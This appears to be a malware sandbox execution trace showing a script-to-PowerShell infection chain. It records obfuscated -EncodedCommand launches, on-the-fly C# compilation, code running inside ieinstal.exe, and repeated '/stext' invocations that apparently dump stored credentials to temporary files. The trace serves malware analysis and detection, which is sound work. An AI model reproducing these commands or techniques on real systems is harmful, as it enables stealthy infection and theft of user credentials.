          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8878.tmp" "c:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Medalj.vbs"
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\msjsdp
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\omodehqjd
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\zobwfaalrtsxm
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\xxulbm
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\iahwcebtg
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\sumouwmncqxiz
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASw
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdlineJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exeJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8878.tmp" "c:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP"Jump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Medalj.vbs" Jump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\msjsdpJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\omodehqjdJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\zobwfaalrtsxmJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\xxulbmJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\iahwcebtgJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\sumouwmncqxizJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASwJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
